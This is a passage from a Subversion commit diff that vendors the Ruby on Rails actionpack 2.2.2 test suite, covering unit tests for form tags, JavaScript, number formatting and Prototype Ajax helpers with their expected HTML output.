+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_size_string
+    actual = text_field_tag "title", "Hello!", "size" => "75"
+    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_symbol
+    actual = text_field_tag "title", "Hello!", :maxlength => 75
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_maxlength_string
+    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
+    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_disabled
+    actual = text_field_tag "title", "Hello!", :disabled => :true
+    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_with_multiple_options
+    actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
+    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_text_field_tag_id_sanitized
+    input_elem = root_elem(text_field_tag("item[][title]"))
+    assert_match VALID_HTML_ID, input_elem['id']
+  end
+
+  def test_label_tag_without_text
+    actual = label_tag "title"
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_symbol
+    actual = label_tag :title
+    expected = %(<label for="title">Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_with_text
+    actual = label_tag "title", "My Title"
+    expected = %(<label for="title">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_class_string
+    actual = label_tag "title", "My Title", "class" => "small_label"
+    expected = %(<label for="title" class="small_label">My Title</label>)
+    assert_dom_equal expected, actual
+  end
+
+  def test_label_tag_id_sanitized
+    label_elem = root_elem(label_tag("item[title]"))
+    assert_match VALID_HTML_ID, label_elem['for']
+  end
+
+  def test_boolean_options
+    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
+    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
+    assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
+    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>", :multiple => true)
+    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>", :multiple => true)
+    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>", :multiple => nil)
+  end
+
+  def test_stringify_symbol_keys
+    actual = text_field_tag "title", "Hello!", :id => "admin"
+    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
+    assert_dom_equal expected, actual
+  end
+
+  def test_submit_tag
+    assert_dom_equal(
+      %(<input name='commit' type='submit' value='Save' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';alert('hello!');result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" />),
+      submit_tag("Save", :disable_with => "Saving...", :onclick => "alert('hello!')")
+    )
+  end
+
+  def test_submit_tag_with_no_onclick_options
+    assert_dom_equal(
+      %(<input name='commit' type='submit' value='Save' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" />),
+      submit_tag("Save", :disable_with => "Saving...")
+    )
+  end
+
+  def test_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input name='commit' type='submit' value='Save' onclick="return confirm('Are you sure?');"/>),
+      submit_tag("Save", :confirm => "Are you sure?")
+    )
+  end
+  
+  def test_image_submit_tag_with_confirmation
+    assert_dom_equal(
+      %(<input type="image" src="/images/save.gif" onclick="return confirm('Are you sure?');"/>),
+      image_submit_tag("save.gif", :confirm => "Are you sure?")
+    )
+  end
+
+  def test_pass
+    assert_equal 1, 1
+  end
+
+  def test_field_set_tag_in_erb
+    __in_erb_template = ''
+    field_set_tag("Your details") { concat "Hello world!" }
+
+    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    self.output_buffer = ''
+    field_set_tag { concat "Hello world!" }
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    self.output_buffer = ''
+    field_set_tag('') { concat "Hello world!" }
+
+    expected = %(<fieldset>Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+
+    self.output_buffer = ''
+    field_set_tag('', :class => 'format') { concat "Hello world!" }
+
+    expected = %(<fieldset class="format">Hello world!</fieldset>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def protect_against_forgery?
+    false
+  end
+
+  private
+
+  def root_elem(rendered_content)
+    HTML::Document.new(rendered_content).root.children[0]
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/javascript_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/javascript_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/javascript_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,111 @@
+require 'abstract_unit'
+
+class JavaScriptHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::JavaScriptHelper
+
+  attr_accessor :template_format, :output_buffer
+
+  def setup
+    @template = self
+  end
+
+  def test_escape_javascript
+    assert_equal '', escape_javascript(nil)
+    assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
+    assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
+    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+  end
+
+  def test_link_to_function
+    assert_dom_equal %(<a href="#" onclick="alert('Hello world!'); return false;">Greeting</a>),
+      link_to_function("Greeting", "alert('Hello world!')")
+  end
+
+  def test_link_to_function_with_existing_onclick
+    assert_dom_equal %(<a href="#" onclick="confirm('Sanity!'); alert('Hello world!'); return false;">Greeting</a>),
+      link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
+  end
+
+  def test_link_to_function_with_rjs_block
+    html = link_to_function( "Greet me!" ) do |page|
+      page.replace_html 'header', "<h1>Greetings</h1>"
+    end
+    assert_dom_equal %(<a href="#" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);; return false;">Greet me!</a>), html
+  end
+
+  def test_link_to_function_with_rjs_block_and_options
+    html = link_to_function( "Greet me!", :class => "updater" ) do |page|
+      page.replace_html 'header', "<h1>Greetings</h1>"
+    end
+    assert_dom_equal %(<a href="#" class="updater" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);; return false;">Greet me!</a>), html
+  end
+
+  def test_link_to_function_with_href
+    assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
+      link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
+  end
+
+  def test_link_to_function_with_href
+    assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
+      link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
+  end
+
+  def test_button_to_function
+    assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
+      button_to_function("Greeting", "alert('Hello world!')")
+  end
+
+  def test_button_to_function_with_rjs_block
+    html = button_to_function( "Greet me!" ) do |page|
+      page.replace_html 'header', "<h1>Greetings</h1>"
+    end
+    assert_dom_equal %(<input type="button" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);;" value="Greet me!" />), html
+  end
+
+  def test_button_to_function_with_rjs_block_and_options
+    html = button_to_function( "Greet me!", :class => "greeter" ) do |page|
+      page.replace_html 'header', "<h1>Greetings</h1>"
+    end
+    assert_dom_equal %(<input type="button" class="greeter" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C\/h1\\u003E&quot;);;" value="Greet me!" />), html
+  end
+
+  def test_button_to_function_with_onclick
+    assert_dom_equal "<input onclick=\"alert('Goodbye World :('); alert('Hello world!');\" type=\"button\" value=\"Greeting\" />",
+      button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
+  end
+
+  def test_button_to_function_without_function
+    assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
+      button_to_function("Greeting")
+  end
+
+  def test_javascript_tag
+    self.output_buffer = 'foo'
+
+    assert_dom_equal "<script type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')")
+
+    assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
+  end
+
+  def test_javascript_tag_with_options
+    assert_dom_equal "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')", :id => "the_js_tag")
+  end
+
+  def test_javascript_tag_with_block_in_erb
+    __in_erb_template = ''
+    javascript_tag { concat "alert('hello')" }
+    assert_dom_equal "<script type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>", output_buffer
+  end
+
+  def test_javascript_tag_with_block_and_options_in_erb
+    __in_erb_template = ''
+    javascript_tag(:id => "the_js_tag") { concat "alert('hello')" }
+    assert_dom_equal "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>", output_buffer
+  end
+
+  def test_javascript_cdata_section
+    assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_i18n_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_i18n_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_i18n_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+require 'abstract_unit'
+
+class NumberHelperI18nTests < Test::Unit::TestCase
+  include ActionView::Helpers::NumberHelper
+
+  attr_reader :request
+
+  uses_mocha 'number_helper_i18n_tests' do
+    def setup
+      @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
+      @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
+      @human_defaults = { :precision => 1 }
+      @percentage_defaults = { :delimiter => '' }
+      @precision_defaults = { :delimiter => '' }
+
+      I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
+        :currency => { :format => @currency_defaults }, :human => @human_defaults }
+    end
+
+    def test_number_to_currency_translates_currency_formats
+      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+      I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
+                                    :raise => true).returns(@currency_defaults)
+      number_to_currency(1, :locale => 'en')
+    end
+
+    def test_number_with_precision_translates_number_formats
+      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+      I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
+                                    :raise => true).returns(@precision_defaults)
+      number_with_precision(1, :locale => 'en')
+    end
+
+    def test_number_with_delimiter_translates_number_formats
+      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+      number_with_delimiter(1, :locale => 'en')
+    end
+
+    def test_number_to_percentage_translates_number_formats
+      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+      I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
+                                    :raise => true).returns(@percentage_defaults)
+      number_to_percentage(1, :locale => 'en')
+    end
+
+    def test_number_to_human_size_translates_human_formats
+      I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
+      I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
+                                    :raise => true).returns(@human_defaults)
+      # can't be called with 1 because this directly returns without calling I18n.translate
+      number_to_human_size(1025, :locale => 'en')
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/number_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,127 @@
+require 'abstract_unit'
+
+class NumberHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::NumberHelper
+
+  def test_number_to_phone
+    assert_equal("800-555-1212", number_to_phone(8005551212))
+    assert_equal("(800) 555-1212", number_to_phone(8005551212, {:area_code => true}))
+    assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
+    assert_equal("(800) 555-1212 x 123", number_to_phone(8005551212, {:area_code => true, :extension => 123}))
+    assert_equal("800-555-1212", number_to_phone(8005551212, :extension => "  "))
+    assert_equal("800-555-1212", number_to_phone("8005551212"))
+    assert_equal("+1-800-555-1212", number_to_phone(8005551212, :country_code => 1))
+    assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
+    assert_equal("22-555-1212", number_to_phone(225551212))
+    assert_equal("+45-22-555-1212", number_to_phone(225551212, :country_code => 45))
+    assert_equal("x", number_to_phone("x"))
+    assert_nil number_to_phone(nil)
+  end
+
+  def test_number_to_currency
+    assert_equal("$1,234,567,890.50", number_to_currency(1234567890.50))
+    assert_equal("$1,234,567,890.51", number_to_currency(1234567890.506))
+    assert_equal("$1,234,567,892", number_to_currency(1234567891.50, {:precision => 0}))
+    assert_equal("$1,234,567,890.5", number_to_currency(1234567890.50, {:precision => 1}))
+    assert_equal("&pound;1234567890,50", number_to_currency(1234567890.50, {:unit => "&pound;", :separator => ",", :delimiter => ""}))
+    assert_equal("$1,234,567,890.50", number_to_currency("1234567890.50"))
+    assert_equal("1,234,567,890.50 K&#269;", number_to_currency("1234567890.50", {:unit => "K&#269;", :format => "%n %u"}))
+    #assert_equal("$x.", number_to_currency("x")) # fails due to API consolidation
+    assert_equal("$x", number_to_currency("x"))
+    assert_nil number_to_currency(nil)
+  end
+
+  def test_number_to_percentage
+    assert_equal("100.000%", number_to_percentage(100))
+    assert_equal("100%", number_to_percentage(100, {:precision => 0}))
+    assert_equal("302.06%", number_to_percentage(302.0574, {:precision => 2}))
+    assert_equal("100.000%", number_to_percentage("100"))
+    assert_equal("1000.000%", number_to_percentage("1000"))
+    assert_equal("x%", number_to_percentage("x"))
+    assert_equal("1.000,000%", number_to_percentage(1000, :delimiter => '.', :separator => ','))
+    assert_nil number_to_percentage(nil)
+  end
+
+  def test_number_with_delimiter
+    assert_equal("12,345,678", number_with_delimiter(12345678))
+    assert_equal("0", number_with_delimiter(0))
+    assert_equal("123", number_with_delimiter(123))
+    assert_equal("123,456", number_with_delimiter(123456))
+    assert_equal("123,456.78", number_with_delimiter(123456.78))
+    assert_equal("123,456.789", number_with_delimiter(123456.789))
+    assert_equal("123,456.78901", number_with_delimiter(123456.78901))
+    assert_equal("123,456,789.78901", number_with_delimiter(123456789.78901))
+    assert_equal("0.78901", number_with_delimiter(0.78901))
+    assert_equal("123,456.78", number_with_delimiter("123456.78"))
+    assert_equal("x", number_with_delimiter("x"))
+    assert_nil number_with_delimiter(nil)
+  end
+
+  def test_number_with_delimiter_with_options_hash
+    assert_equal '12 345 678', number_with_delimiter(12345678, :delimiter => ' ')
+    assert_equal '12,345,678-05', number_with_delimiter(12345678.05, :separator => '-')
+    assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :separator => ',', :delimiter => '.')
+    assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :delimiter => '.', :separator => ',')
+  end
+
+  def test_number_with_precision
+    assert_equal("111.235", number_with_precision(111.2346))
+    assert_equal("31.83", number_with_precision(31.825, :precision => 2))
+    assert_equal("111.23", number_with_precision(111.2346, :precision => 2))
+    assert_equal("111.00", number_with_precision(111, :precision => 2))
+    assert_equal("111.235", number_with_precision("111.2346"))
+    assert_equal("31.83", number_with_precision("31.825", :precision => 2))
+    assert_equal("112", number_with_precision(111.50, :precision => 0))
+    assert_equal("1234567892", number_with_precision(1234567891.50, :precision => 0))
+
+    # Return non-numeric params unchanged.
+    assert_equal("x", number_with_precision("x"))
+    assert_nil number_with_precision(nil)
+  end
+
+  def test_number_with_precision_with_custom_delimiter_and_separator
+    assert_equal '31,83',       number_with_precision(31.825, :precision => 2, :separator => ',')
+    assert_equal '1.231,83',    number_with_precision(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
+  end
+
+  def test_number_to_human_size
+    assert_equal '0 Bytes',   number_to_human_size(0)
+    assert_equal '1 Byte',    number_to_human_size(1)
+    assert_equal '3 Bytes',   number_to_human_size(3.14159265)
+    assert_equal '123 Bytes', number_to_human_size(123.0)
+    assert_equal '123 Bytes', number_to_human_size(123)
+    assert_equal '1.2 KB',    number_to_human_size(1234)
+    assert_equal '12.1 KB',   number_to_human_size(12345)
+    assert_equal '1.2 MB',    number_to_human_size(1234567)
+    assert_equal '1.1 GB',    number_to_human_size(1234567890)
+    assert_equal '1.1 TB',    number_to_human_size(1234567890123)
+    assert_equal '1025 TB',   number_to_human_size(1025.terabytes)
+    assert_equal '444 KB',    number_to_human_size(444.kilobytes)
+    assert_equal '1023 MB',   number_to_human_size(1023.megabytes)
+    assert_equal '3 TB',      number_to_human_size(3.terabytes)
+    assert_equal '1.18 MB',   number_to_human_size(1234567, :precision => 2)
+    assert_equal '3 Bytes',   number_to_human_size(3.14159265, :precision => 4)
+    assert_equal("123 Bytes", number_to_human_size("123"))
+    assert_equal '1.01 KB',   number_to_human_size(1.0123.kilobytes, :precision => 2)
+    assert_equal '1.01 KB',   number_to_human_size(1.0100.kilobytes, :precision => 4)
+    assert_equal '10 KB',   number_to_human_size(10.000.kilobytes, :precision => 4)
+    assert_equal '1 Byte',   number_to_human_size(1.1)
+    assert_equal '10 Bytes', number_to_human_size(10)
+    #assert_nil number_to_human_size('x') # fails due to API consolidation
+    assert_nil number_to_human_size(nil)
+  end
+
+  def test_number_to_human_size_with_options_hash
+    assert_equal '1.18 MB',   number_to_human_size(1234567, :precision => 2)
+    assert_equal '3 Bytes',   number_to_human_size(3.14159265, :precision => 4)
+    assert_equal '1.01 KB',   number_to_human_size(1.0123.kilobytes, :precision => 2)
+    assert_equal '1.01 KB',   number_to_human_size(1.0100.kilobytes, :precision => 4)
+    assert_equal '10 KB',     number_to_human_size(10.000.kilobytes, :precision => 4)
+  end
+
+  def test_number_to_human_size_with_custom_delimiter_and_separator
+    assert_equal '1,01 KB',     number_to_human_size(1.0123.kilobytes, :precision => 2, :separator => ',')
+    assert_equal '1,01 KB',     number_to_human_size(1.0100.kilobytes, :precision => 4, :separator => ',')
+    assert_equal '1.000,1 TB',  number_to_human_size(1000.1.terabytes, :delimiter => '.', :separator => ',')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/prototype_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/prototype_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/prototype_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,639 @@
+require 'abstract_unit'
+
+Bunny = Struct.new(:Bunny, :id)
+
+class Author
+  attr_reader :id
+  def save; @id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    @id.nil? ? 'new author' : "author ##{@id}"
+  end
+end
+
+class Article
+  attr_reader :id
+  attr_reader :author_id
+  def save; @id = 1; @author_id = 1 end
+  def new_record?; @id.nil? end
+  def name
+    @id.nil? ? 'new article' : "article ##{@id}"
+  end
+end
+
+class Author::Nested < Author; end
+
+
+class PrototypeHelperBaseTest < ActionView::TestCase
+  attr_accessor :template_format, :output_buffer
+
+  def setup
+    @template = self
+    @controller = Class.new do
+      def url_for(options)
+        if options.is_a?(String)
+          options
+        else
+          url =  "http://www.example.com/"
+          url << options[:action].to_s if options and options[:action]
+          url << "?a=#{options[:a]}" if options && options[:a]
+          url << "&b=#{options[:b]}" if options && options[:a] && options[:b]
+          url
+        end
+      end
+    end.new
+  end
+
+  protected
+    def request_forgery_protection_token
+      nil
+    end
+
+    def protect_against_forgery?
+      false
+    end
+
+    def create_generator
+      block = Proc.new { |*args| yield *args if block_given? }
+      JavaScriptGenerator.new self, &block
+    end
+end
+
+class PrototypeHelperTest < PrototypeHelperBaseTest
+  def setup
+    @record = @author = Author.new
+    @article = Article.new
+    super
+  end
+
+  def test_link_to_remote
+    assert_dom_equal %(<a class=\"fine\" href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", { :url => { :action => "whatnot"  }}, { :class => "fine"  })
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onComplete:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :complete => "alert(request.responseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onSuccess:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :success => "alert(request.responseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :failure => "alert(request.responseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot?a=10&amp;b=20', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :failure => "alert(request.responseText)", :url => { :action => "whatnot", :a => '10', :b => '20' })
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:false, evalScripts:true}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :url => { :action => "whatnot" }, :type => :synchronous)
+    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, insertion:'bottom'}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", :url => { :action => "whatnot" }, :position => :bottom)
+  end
+
+  def test_link_to_remote_html_options
+    assert_dom_equal %(<a class=\"fine\" href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true}); return false;\">Remote outauthor</a>),
+      link_to_remote("Remote outauthor", { :url => { :action => "whatnot"  }, :html => { :class => "fine" } })
+  end
+
+  def test_link_to_remote_url_quote_escaping
+    assert_dom_equal %(<a href="#" onclick="new Ajax.Request('http://www.example.com/whatnot\\\'s', {asynchronous:true, evalScripts:true}); return false;">Remote</a>),
+      link_to_remote("Remote", { :url => { :action => "whatnot's" } })
+  end
+
+  def test_button_to_remote
+    assert_dom_equal %(<input class=\"fine\" type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true});\" />),
+      button_to_remote("Remote outpost", { :url => { :action => "whatnot"  }}, { :class => "fine"  })
+    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onComplete:function(request){alert(request.reponseText)}});\" />),
+      button_to_remote("Remote outpost", :complete => "alert(request.reponseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onSuccess:function(request){alert(request.reponseText)}});\" />),
+      button_to_remote("Remote outpost", :success => "alert(request.reponseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.reponseText)}});\" />),
+      button_to_remote("Remote outpost", :failure => "alert(request.reponseText)", :url => { :action => "whatnot"  })
+    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot?a=10&amp;b=20', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.reponseText)}});\" />),
+      button_to_remote("Remote outpost", :failure => "alert(request.reponseText)", :url => { :action => "whatnot", :a => '10', :b => '20' })
+  end
+
+  def test_periodically_call_remote
+    assert_dom_equal %(<script type="text/javascript">\n//<![CDATA[\nnew PeriodicalExecuter(function() {new Ajax.Updater('schremser_bier', 'http://www.example.com/mehr_bier', {asynchronous:true, evalScripts:true})}, 10)\n//]]>\n</script>),
+      periodically_call_remote(:update => "schremser_bier", :url => { :action => "mehr_bier" })
+  end
+
+  def test_periodically_call_remote_with_frequency
+    assert_dom_equal(
+      "<script type=\"text/javascript\">\n//<![CDATA[\nnew PeriodicalExecuter(function() {new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true})}, 2)\n//]]>\n</script>",
+      periodically_call_remote(:frequency => 2)
+    )
+  end
+
+  def test_form_remote_tag
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
+      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  })
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
+      form_remote_tag(:update => { :success => "glass_of_beer" }, :url => { :action => :fast  })
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
+      form_remote_tag(:update => { :failure => "glass_of_water" }, :url => { :action => :fast  })
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer',failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
+      form_remote_tag(:update => { :success => 'glass_of_beer', :failure => "glass_of_water" }, :url => { :action => :fast  })
+  end
+
+  def test_form_remote_tag_with_method
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div>),
+      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, :html => { :method => :put })
+  end
+
+  def test_form_remote_tag_with_block_in_erb
+    __in_erb_template = ''
+    form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }) { concat "Hello world!" }
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">Hello world!</form>), output_buffer
+  end
+
+  def test_remote_form_for_with_record_identification_with_new_record
+    remote_form_for(@record, {:html => { :id => 'create-author' }}) {}
+
+    expected = %(<form action='#{authors_path}' onsubmit="new Ajax.Request('#{authors_path}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_author' id='create-author' method='post'></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_remote_form_for_with_record_identification_without_html_options
+    remote_form_for(@record) {}
+
+    expected = %(<form action='#{authors_path}' onsubmit="new Ajax.Request('#{authors_path}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_author' method='post' id='new_author'></form>)
+    assert_dom_equal expected, output_buffer
